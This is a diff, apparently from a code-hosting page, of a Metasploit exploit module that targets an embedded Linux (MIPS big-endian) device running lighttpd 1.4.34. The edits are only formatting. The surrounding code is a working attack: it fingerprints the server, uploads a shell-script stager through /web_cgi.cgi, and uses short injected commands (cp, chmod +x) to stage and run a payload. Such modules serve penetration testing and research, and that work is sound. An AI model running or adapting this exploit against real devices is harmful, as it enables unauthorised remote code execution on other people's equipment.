@@ -23,7 +23,7 @@ def initialize(info = {})
23
23
'Author' =>
24
24
[
25
25
'Peter Adkins <peter.adkins[at]kernelpicnic.net>' , # vulnerability discovery and initial PoC
26
- 'Michael Messner <devnull[at]s3cur1ty.de>' , # Metasploit module
26
+ 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
27
27
] ,
28
28
'License' => MSF_LICENSE ,
29
29
'Platform' => 'linux' ,
@@ -49,7 +49,7 @@ def initialize(info = {})
49
49
'Platform' => 'linux' ,
50
50
'Arch' => ARCH_MIPSBE
51
51
}
52
- ] ,
52
+ ]
53
53
] ,
54
54
'DefaultTarget' => 1
55
55
) )
@@ -59,7 +59,7 @@ def check
59
59
begin
60
60
res = send_request_cgi ( {
61
61
'uri' => '/' ,
62
- 'method' => 'GET' ,
62
+ 'method' => 'GET'
63
63
} )
64
64
65
65
if res && res . headers [ "Server" ] =~ /lighttpd\/ 1\. 4\. 34/
@@ -83,14 +83,14 @@ def exploit
83
83
@counter = 1
84
84
execute_cmdstager (
85
85
:flavor => :echo ,
86
- :linemax => 95 #limited by our upload, larger payloads crash the web server
86
+ :linemax => 95 # limited by our upload, larger payloads crash the web server
87
87
)
88
88
89
89
print_status ( "#{ peer } - creating payload and executing it ..." )
90
90
91
91
( 1 .. @counter ) . each do |act_file |
92
- #the http server blocks access to our files ... we copy it to a new one
93
- #the length of our command is restricted to 19 characters
92
+ # the http server blocks access to our files ... we copy it to a new one
93
+ # the length of our command is restricted to 19 characters
94
94
cmd = "cp /t*/#{ act_file } /tmp/#{ act_file +@counter } "
95
95
execute_final_command ( cmd )
96
96
cmd = "chmod +x /tmp/#{ act_file +@counter } "
@@ -105,8 +105,8 @@ def exploit
105
105
end
106
106
107
107
def execute_command ( cmd , opts )
108
- #upload our stager to a shell script
109
- #upload takes quite long because there is no response from the web server
108
+ # upload our stager to a shell script
109
+ # upload takes quite long because there is no response from the web server
110
110
111
111
file_upload = "#!/bin/sh\n "
112
112
file_upload << cmd << "\n "
@@ -124,7 +124,7 @@ def execute_command(cmd,opts)
124
124
'uri' => "/web_cgi.cgi" ,
125
125
'vars_get' => {
126
126
'&request' => 'UploadFile' ,
127
- 'path' => '/tmp/' ,
127
+ 'path' => '/tmp/'
128
128
} ,
129
129
'encode_params' => false ,
130
130
'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
@@ -137,7 +137,7 @@ def execute_command(cmd,opts)
137
137
end
138
138
139
139
def execute_final_command ( cmd )
140
- #very limited space - larger commands crash the webserver
140
+ # very limited space - larger commands crash the webserver
141
141
fail_with ( Failure ::Unknown , "#{ peer } - Generated command for injection is too long" ) if cmd . length > 18
142
142
begin
143
143
send_request_cgi ( {
0 commit comments